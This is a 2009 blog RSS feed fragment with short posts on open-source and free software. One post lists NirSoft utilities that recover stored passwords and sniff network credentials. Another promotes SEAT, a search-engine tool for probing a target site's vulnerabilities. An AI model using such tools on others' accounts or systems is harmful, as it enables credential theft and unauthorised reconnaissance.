<p>With this library you can create messages and add multimedia parts such as JPEG, GIF, AMR, MIDI and so on. Messages received from phones can also be unpacked and attachments can be extracted. The library also contains a limited MMS sending functionality that uses a HTTP service to send SMS:es. You would probably have to change the actual implementation of the SMS sending to fit your way of sending SMS:es (if it is over serial port, to a real SMSC or through some other type of HTTP service). This is all done with the three classes MMSDecoder, MMSEncoder and MMSNotifyer. </p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/26/open-source-mms-library/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Hacking: Information Digging Application</title>
		<link>http://twit88.com/blog/2009/10/26/hacking-information-digging-application/</link>
		<comments>http://twit88.com/blog/2009/10/26/hacking-information-digging-application/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 07:11:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[hacking]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/26/hacking-information-digging-application/</guid>
		<description><![CDATA[SEAT (Search Engine Assessment Tool) is the next generation information digging application geared toward the needs of security professionals. SEAT uses information stored in search engine databases, cache repositories, and other public resources to scan a site for potential vulnerabilities. It’s multi-threaded, multi-database, and multi-search-engine capabilities permit easy navigation through vast amounts of information with [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://midnightresearch.com/projects/search-engine-assessment-tool/">SEAT</a> (Search Engine Assessment Tool) is the next generation information digging application geared toward the needs of security professionals. SEAT uses information stored in search engine databases, cache repositories, and other public resources to scan a site for potential vulnerabilities. It’s multi-threaded, multi-database, and multi-search-engine capabilities permit easy navigation through vast amounts of information with a goal of system security assessment. Furthermore, SEAT’s ability to easily process additional search engine signatures as well as custom made vulnerability databases allows security professionals to adapt SEAT to their specific needs.</p>
<p><a name="features"></a><strong>Features</strong></p>
<p>Supported Search Engines:</p>
<ul>
<li>Google </li>
<li>Yahoo </li>
<li>MSN </li>
<li>AltaVista </li>
<li>AllTheWeb </li>
<li>AOL </li>
<li>DMOZ </li>
</ul>
<p>Vulnerability Databases:</p>
<ul>
<li><a href="http://johnny.ihackstuff.com/ghdb/">GHDB</a> </li>
<li>NIKTO </li>
<li>GSDB </li>
<li>WMAP </li>
<li>URLCHK </li>
<li>NESTEA </li>
</ul>
<p>Advanced Features:</p>
<ul>
<li>Mine domain names belonging to a target site </li>
<li>Indirectly scan a range of IP addresses </li>
<li>Quickly create new custom Search Engine signatures and Vulnerability Databases. </li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/26/hacking-information-digging-application/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source Video Editor</title>
		<link>http://twit88.com/blog/2009/10/26/open-source-video-editor/</link>
		<comments>http://twit88.com/blog/2009/10/26/open-source-video-editor/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 07:03:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/26/open-source-video-editor/</guid>
		<description><![CDATA[Avidemux is a free video editor designed for simple cutting, filtering and encoding tasks. It supports many file types, including AVI, DVD compatible MPEG files, MP4 and ASF, using a variety of codecs. Tasks can be automated using projects, job queue and powerful scripting capabilities. 
Avidemux is available for Linux, BSD, Mac OS X and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://fixounet.free.fr/avidemux/">Avidemux</a> is a free video editor designed for simple cutting, filtering and encoding tasks. It supports many file types, including AVI, DVD compatible MPEG files, MP4 and ASF, using a variety of codecs. Tasks can be automated using projects, job queue and powerful scripting capabilities. </p>
<p>Avidemux is available for Linux, BSD, Mac OS X and Microsoft Windows under the GNU GPL license. </p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image9.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb9.png" width="292" height="239" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/26/open-source-video-editor/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source CAD</title>
		<link>http://twit88.com/blog/2009/10/26/open-source-cad/</link>
		<comments>http://twit88.com/blog/2009/10/26/open-source-cad/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 06:53:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/26/open-source-cad/</guid>
		<description><![CDATA[Archimedes is a computer-aided design software focused on architecture. It is developed by a team of Computer Science students with colaboration of student and professional architects. The project was first conceived of on June 2005, but actual development only started on March 2006. At its first stage, the project aims to be a simple drawing [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://archimedes.incubadora.fapesp.br/portal">Archimedes</a> is a computer-aided design software focused on architecture. It is developed by a team of Computer Science students with colaboration of student and professional architects. The project was first conceived of on June 2005, but actual development only started on March 2006. At its first stage, the project aims to be a simple drawing board for architects. With this, it would be approximately equivalent to the most popular program among architects.</p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image8.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb8.png" width="400" height="320" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/26/open-source-cad/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows Shell Replacement</title>
		<link>http://twit88.com/blog/2009/10/24/windows-shell-replacement/</link>
		<comments>http://twit88.com/blog/2009/10/24/windows-shell-replacement/#comments</comments>
		<pubDate>Sat, 24 Oct 2009 08:04:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[C/C++]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/24/windows-shell-replacement/</guid>
		<description><![CDATA[Emerge Desktop is a replacement windows &#34;shell&#34; (the desktop environment normally provided by Windows Explorer) for Windows 2000 and above. In order to replace Windows Explorer as a shell, it provides a system tray (the area that collects the icons collected at the lower right corner in Explorer), called emergeTray. It will also provide access [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://emergedesktop.org">Emerge Desktop</a> is a replacement windows &quot;shell&quot; (the desktop environment normally provided by Windows Explorer) for Windows 2000 and above. In order to replace Windows Explorer as a shell, it provides a system tray (the area that collects the icons collected at the lower right corner in Explorer), called emergeTray. It will also provide access to the users programs (normally accessed with the windows &quot;start&quot; button) via a right-click on the desktop, via emergeCore.</p>
<p>Emerge Desktop is implemented with <a href="http://mingw.org/">MinGW</a> which is an OpenSource implementation of the GNU C compiler and utilities. Up to this point, closed source commercial projects have mainly been used (Microsoft Visual C++, Borland Delphi) to develop alternate shells as they use proprietary Microsoft API features. With Microsoft releasing more detailed information about these API calls, the MinGW win32api is now quite complete. Additionally, several web sites on the internet have started to include documentation and code that illustrate how to access and use these functions.</p>
<p>Emerge Desktop has an open API, which allows for applets to be coded with compilers other than MinGW if someone wishes to do so.</p>
<p>Emerge Desktop is written in C++, primarily developed with <a href="http://mingw.org/">MinGW</a> and is licensed as OpenSource (under the <a href="http://www.gnu.org/copyleft/gpl.html">GPL</a>). All the source is available in <a href="http://emerge.svn.sourceforge.net/viewvc/emerge/">Subversion</a> at <a href="http://sourceforge.net">Sourceforge</a>. Emerge Desktop can be developed using <a href="http://www.codeblocks.org/">Code::Blocks</a>, an IDE for MinGW. </p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image7.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb7.png" width="454" height="342" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/24/windows-shell-replacement/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Windows: Organize Desktop Tool</title>
		<link>http://twit88.com/blog/2009/10/24/windows-organize-desktop-tool/</link>
		<comments>http://twit88.com/blog/2009/10/24/windows-organize-desktop-tool/#comments</comments>
		<pubDate>Sat, 24 Oct 2009 07:58:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[freebies]]></category>

		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/24/windows-organize-desktop-tool/</guid>
		<description><![CDATA[Fences is a program that helps you organize your desktop, and can hide your icons when they&#8217;re not in use.
 
Fences is a one-of-a-kind program, allowing you to draw labeled shaded areas on your desktop, which become movable &#38; resizable containers for your desktop icons. These groups can help bring organization and consistency to your [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.stardock.com/products/fences/">Fences</a> is a program that helps you organize your desktop, and can hide your icons when they&#8217;re not in use.</p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image6.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb6.png" width="454" height="233" /></a> </p>
<p>Fences is a one-of-a-kind program, allowing you to draw labeled shaded areas on your desktop, which become movable &amp; resizable containers for your desktop icons. These groups can help bring organization and consistency to your computer&#8217;s desktop, solving the &quot;constant mess&quot; problem that has plagued the desktop since its inception. </p>
<p>Fences also helps you finally appreciate the wallpaper you have hiding behind all that clutter.    <br />In addition to its organizing features, Fences offers a patent-pending quick-hide feature. Double click your desktop, and all your icons will fade out. Double click again, and they&#8217;ll return. </p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/24/windows-organize-desktop-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source Network Graphing</title>
		<link>http://twit88.com/blog/2009/10/17/open-source-network-graphing/</link>
		<comments>http://twit88.com/blog/2009/10/17/open-source-network-graphing/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 06:32:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/17/open-source-network-graphing/</guid>
		<description><![CDATA[Cacti is a complete network graphing solution designed to harness the power of RRDTool&#8217;s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cacti.net/">Cacti</a> is a complete network graphing solution designed to harness the power of <a href="http://www.rrdtool.org">RRDTool</a>&#8217;s data storage and graphing functionality. Cacti provides a fast poller, advanced graph templating, multiple data acquisition methods, and user management features out of the box. All of this is wrapped in an intuitive, easy to use interface that makes sense for LAN-sized installations up to complex networks with hundreds of devices.</p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image5.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb5.png" width="454" height="339" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/17/open-source-network-graphing/feed/</wfw:commentRss>
		</item>
		<item>
		<title>TCL Web Test Tool</title>
		<link>http://twit88.com/blog/2009/10/17/tcl-web-test-tool/</link>
		<comments>http://twit88.com/blog/2009/10/17/tcl-web-test-tool/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 06:28:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/17/tcl-web-test-tool/</guid>
		<description><![CDATA[tclwebtest is a tool to write automated tests for web applications. It provides a simple API for issuing http requests, dealing with the result and assume specific response values, while taking care of the details such as redirects and cookies.    
It has some basic html parsing functionality, to provide access to elements [...]]]></description>
			<content:encoded><![CDATA[<p>tclwebtest is a tool to write automated tests for web applications. It provides a simple API for issuing http requests, dealing with the result and assume specific response values, while taking care of the details such as redirects and cookies.    </p>
<p>It has some basic html parsing functionality, to provide access to elements of the result html page that are needed for testing (mainly links and forms). </p>
<p>A typical test script looks like this:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> set SERVER <span style="color: #006080">&quot;testserver&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> do_request <span style="color: #006080">&quot;http://$SERVER/sometesturl/&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> assert text <span style="color: #006080">&quot;some text&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> link follow <span style="color: #006080">&quot;login&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> field fill <span style="color: #006080">&quot;testuser&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> field fill <span style="color: #006080">&quot;testpassword&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> form submit</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: white; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span> assert text <span style="color: #006080">&quot;you are logged in as testuser&quot;</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     </pre>
</p></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/17/tcl-web-test-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source Data Logging and Graphing System</title>
		<link>http://twit88.com/blog/2009/10/17/open-source-data-logging-and-graphing-system/</link>
		<comments>http://twit88.com/blog/2009/10/17/open-source-data-logging-and-graphing-system/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 06:25:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/17/open-source-data-logging-and-graphing-system/</guid>
		<description><![CDATA[RRDtool is the OpenSource industry standard, high performance data logging and graphing system for time series data. Use it to write your custom monitoring shell scripts or create whole applications using its Perl, Python, Ruby, TCL or PHP bindings.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://oss.oetiker.ch/rrdtool/">RRDtool</a> is the OpenSource industry standard, high performance data logging and graphing system for time series data. Use it to write your custom monitoring shell scripts or create whole applications using its Perl, Python, Ruby, TCL or PHP bindings.</p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/17/open-source-data-logging-and-graphing-system/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source Oracle Load Test Tool</title>
		<link>http://twit88.com/blog/2009/10/16/open-source-oracle-load-test-tool/</link>
		<comments>http://twit88.com/blog/2009/10/16/open-source-oracle-load-test-tool/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 05:56:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Oracle]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/16/open-source-oracle-load-test-tool/</guid>
		<description><![CDATA[Hammerora is a load generation tool for Oracle 8i,9i,10g and 11g, MySQL and web applications on Linux/UNIX and Windows written in TCL/TK released under the GNU Public License.&#160; Therefore with Hammerora there is no expensive per &#34;Virtual User&#34; licensing. You can create the desired number of sessions that your hardware will sustain.
Hammerora has been designed [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hammerora.sourceforge.net/">Hammerora</a> is a load generation tool for Oracle 8i,9i,10g and 11g, MySQL and web applications on Linux/UNIX and Windows written in TCL/TK released under the GNU Public License.&#160; Therefore with Hammerora there is no expensive per &quot;Virtual User&quot; licensing. You can create the desired number of sessions that your hardware will sustain.</p>
<p>Hammerora has been designed as an Oracle environment load testing tool and does not compromise on performance for generality.&#160; Support for MySQL was added as the most requested feature after the Oracle acquisition of the <a href="http://www.innodb.com/">InnoDB</a> storage engine. Hammerora interacts with the Oracle database using the OCI based <a href="http://oratcl.sourceforge.net/">Oratcl</a> , MySQL with <a href="http://www.xdobry.de/mysqltcl/">MySQLTCL</a> (both share a common ancestor in Sybtcl) and web based environments using <a href="http://tclwebtest.sourceforge.net/">Tclwebtest</a>.&#160; Hammerora can therefore test all aspects of your Oracle enviroment including database and application server. For databases Hammerora can convert real Oracle trace files and replay them back with multiple users using Oratcl. There are also pre-built simulations based on the TPC-C and TPC-H benchmark specifications in order that there are multi-user workloads that you can begin to use straight away.</p>
<p><a href="http://www.tcl.tk/">TCL</a> has been used as it provides high performance associated with the C programming language that the language is written in without the inconvenience or expertise required to recompile generated load testing programs. TCL is also exceptionaly light on system resources meaning that a notebook or desktop system can easily load test a powerful database or application server environment. The power, flexibility and extensibility of TCL means that the potential functionality is unlimited and its &#8216;hot pluggable&#8217; architecture means any required functionality can be added to the multi-threaded user framework enabled by TCL Threads. For example users looking to test TimesTen may wish to investigate the <a href="http://sourceforge.net/projects/tclodbc">TclODBC</a> package.</p>
<p>Using Hammerora is straightforward and easy and the following gives a brief overview and introduction to using the application. For installation see the information provided on the <a href="http://hammerora.sourceforge.net/installation.htm">installation</a> page. After a successful install you are presented with the default Hammerora editor and virtual user windows. The editor pane provides the focal point of Hammerora functionality. Within this pane you will load, write or convert a trace file to produce a script written in the TCL language.</p>
<p><a href="http://twit88.com/blog/wp-content/uploads/2009/10/image4.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://twit88.com/blog/wp-content/uploads/2009/10/image-thumb4.png" width="454" height="393" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/16/open-source-oracle-load-test-tool/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Java: Time Synchronization Trick in Programming</title>
		<link>http://twit88.com/blog/2009/10/14/java-time-synchronization-trick-in-programming/</link>
		<comments>http://twit88.com/blog/2009/10/14/java-time-synchronization-trick-in-programming/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 16:46:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/14/java-time-synchronization-trick-in-programming/</guid>
		<description><![CDATA[In previous article, I have written about Java Time Sync Problem. JVM time follows the CPU ticks once it is started even though the application servers are time synced with NTP.
With this in mind, if developer does not use a centralized server to retrieve the time, it would pose a problem.
Image the following scenario, 

You [...]]]></description>
			<content:encoded><![CDATA[<p>In previous article, I have written about <a href="http://twit88.com/blog/2009/02/15/java-application-time-sync-problem/">Java Time Sync Problem</a>. JVM time follows the CPU ticks once it is started even though the application servers are time synced with NTP.</p>
<p>With this in mind, if developer does not use a centralized server to retrieve the time, it would pose a problem.</p>
<p>Image the following scenario, </p>
<ol>
<li>You have 10 Java applications accessing a database server</li>
<li>Each application servers have been running for some time, and the Java applications time are now few minutes apart</li>
<li>1 application inserts a record using the current time as the record effective date</li>
<li>Another application retrieves the record and compare the effective date with its current time</li>
</ol>
<p>In the above scenario, even though your application logic may sound correct, and when it is running in production environment, thing will go wrong.</p>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/14/java-time-synchronization-trick-in-programming/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Free Hacking Tools</title>
		<link>http://twit88.com/blog/2009/10/14/free-hacking-tools/</link>
		<comments>http://twit88.com/blog/2009/10/14/free-hacking-tools/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 16:07:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[freebies]]></category>

		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/14/free-hacking-tools/</guid>
		<description><![CDATA[Nirsoft website provides a number of utilities for password recovery, networking and other internet related tools.
For password recovery, there are

Mail PassView - Recover the passwords of popular email clients: Outlook Express, MS Outlook, Eudora, Mozilla Thunderbird , and more&#8230; 
MessenPass - Recover the passwords of instant messenger programs: Yahoo Messenger, MSN Messenger, Trillian, and more&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Nirsoft website provides a number of utilities for password recovery, networking and other internet related tools.</p>
<p>For password recovery, there are</p>
<ul>
<li><a href="http://www.nirsoft.net/utils/mailpv.html">Mail PassView - Recover the passwords of popular email clients</a>: Outlook Express, MS Outlook, Eudora, Mozilla Thunderbird , and more&#8230; </li>
<li><a href="http://www.nirsoft.net/utils/mspass.html">MessenPass - Recover the passwords of instant messenger programs</a>: Yahoo Messenger, MSN Messenger, Trillian, and more&#8230; </li>
<li><a href="http://www.nirsoft.net/utils/dialupass.html">Dialupass: Dialup Password Recovery</a> - Recovers the passwords of dialup entries (VPN and Internet connections). Works also under Windows 2000/XP. </li>
<li><a href="http://www.nirsoft.net/utils/network_password_recovery.html">Network Password Recovery</a> - Freeware utility that recovers the network passwords stored by Windows XP (Credentials file). </li>
<li><a href="http://www.nirsoft.net/utils/astlog.html">Asterisk Logger</a> - Reveal the passwords hidden behind asterisk (&#8217;****&#8217;) characters in standard password text-boxes. </li>
<li><a href="http://www.nirsoft.net/utils/password_sniffer.html">SniffPass - Password Sniffer</a> - Listen to your network, and capture POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication) passwords </li>
<li><a href="http://www.nirsoft.net/utils/pst_password.html">PstPassword</a> - Recover the password of Outlook PST file. </li>
<li><a href="http://www.nirsoft.net/utils/pspv.html">Protected Storage PassView</a> - Displays all passwords and AutoComplete strings stored in your Protected Storage. </li>
</ul>
<p>&#160;</p>
<p>For network tools, </p>
<ul>
<li><a href="http://www.nirsoft.net/utils/netresview.html">NetResView</a> - View all computers/shares on your network. </li>
<li><a href="http://www.nirsoft.net/utils/bluetooth_viewer.html">BluetoothView</a> - Monitor the Bluetooth activity around you. </li>
<li><a href="http://www.nirsoft.net/utils/smsniff.html">SmartSniff: TCP/IP Sniffer </a>- Capture TCP/IP packets on your network adapter and view the captured data as sequence of conversations between clients and servers. </li>
<li><a href="http://www.nirsoft.net/utils/cports.html">CurrPorts: TCP/IP Connections Viewer</a> - Freeware tool that displays the list of all currently opened TCP and UDP ports on your local computer. </li>
<li><a href="http://www.nirsoft.net/utils/awatch.html">AdapterWatch</a> - displays useful information about your network adapters: IP addresses, Hardware address, WINS servers, DNS servers, MTU value, Number of bytes received or sent, The current transfer speed, and more&#8230; </li>
<li><a href="http://www.nirsoft.net/utils/wireless_network_view.html">WirelessNetView</a> - View the details of all wireless network in your area (SSID, Signal Quality, MAC Address, and more&#8230;) </li>
<li><a href="http://www.nirsoft.net/utils/download_speed_tester.html">DownTester</a> - Test the download speed of your Internet connection. </li>
</ul>
<p>&#160;</p>
<p>For internet related tools,</p>
<ul>
<li><a href="http://www.nirsoft.net/utils/netresview.html">NetResView</a> - View all computers/shares on your network. </li>
<li><a href="http://www.nirsoft.net/utils/bluetooth_viewer.html">BluetoothView</a> - Monitor the Bluetooth activity around you. </li>
<li><a href="http://www.nirsoft.net/utils/smsniff.html">SmartSniff: TCP/IP Sniffer </a>- Capture TCP/IP packets on your network adapter and view the captured data as sequence of conversations between clients and servers. </li>
<li><a href="http://www.nirsoft.net/utils/cports.html">CurrPorts: TCP/IP Connections Viewer</a> - Freeware tool that displays the list of all currently opened TCP and UDP ports on your local computer. </li>
<li><a href="http://www.nirsoft.net/utils/awatch.html">AdapterWatch</a> - displays useful information about your network adapters: IP addresses, Hardware address, WINS servers, DNS servers, MTU value, Number of bytes received or sent, The current transfer speed, and more&#8230; </li>
<li><a href="http://www.nirsoft.net/utils/wireless_network_view.html">WirelessNetView</a> - View the details of all wireless network in your area (SSID, Signal Quality, MAC Address, and more&#8230;) </li>
<li><a href="http://www.nirsoft.net/utils/download_speed_tester.html">DownTester</a> - Test the download speed of your Internet connection. </li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://twit88.com/blog/2009/10/14/free-hacking-tools/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Open Source Java X Windows Server</title>
		<link>http://twit88.com/blog/2009/10/13/open-source-java-x-windows-server/</link>
		<comments>http://twit88.com/blog/2009/10/13/open-source-java-x-windows-server/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 15:23:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Java]]></category>

		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://twit88.com/blog/2009/10/13/open-source-java-x-windows-server/</guid>
		<description><![CDATA[WeirdX is an X Window System server in pure Java under GNU GPL.
It is derived from WiredX-Lite and will run on any platforms which support Java 1.1. This X server will not be suitable to exec heavy x clients, but you may find that twm, xterm, etc. will run fine on it.
WeirdX handles x protocols [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.jcraft.com/weirdx/">WeirdX</a> is an X Window System server in pure Java under GNU GPL.</p>
<p>It is derived from <a href="http://www.jcraft.com/wiredx/">WiredX</a>-Lite and will run on any platforms which support Java 1.1. This X server will not be suitable to exec heavy x clients, but you may find that twm, xterm, etc. will run fine on it.</p>
<li>WeirdX handles x protocols directly. </li>
<li>WeirdX supports core protocols of X11R6.3 partially. </li>
<li>WeirdX is implemented with JDK 1.1. </li>
<li>WeirdX runs as an application/applet. </li>
<li>WeirdX supports <b>Rootless</b> mode. </li>
<li>WeirdX runs as a TrueType font X Server if your JVM supports TrueType fonts. </li>
<li>WeirdX supports the three mouse button emulation. </li>
